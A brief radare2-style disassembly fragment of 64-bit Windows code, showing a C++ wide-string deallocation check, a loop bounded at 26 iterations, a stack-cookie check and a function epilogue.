call fcn.14007ee40
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x14007c776
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c771
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007c7a3
call fcn.14008279c
inc edi
cmp edi, 0x1a
jl 0x14007c632
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400824f0
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3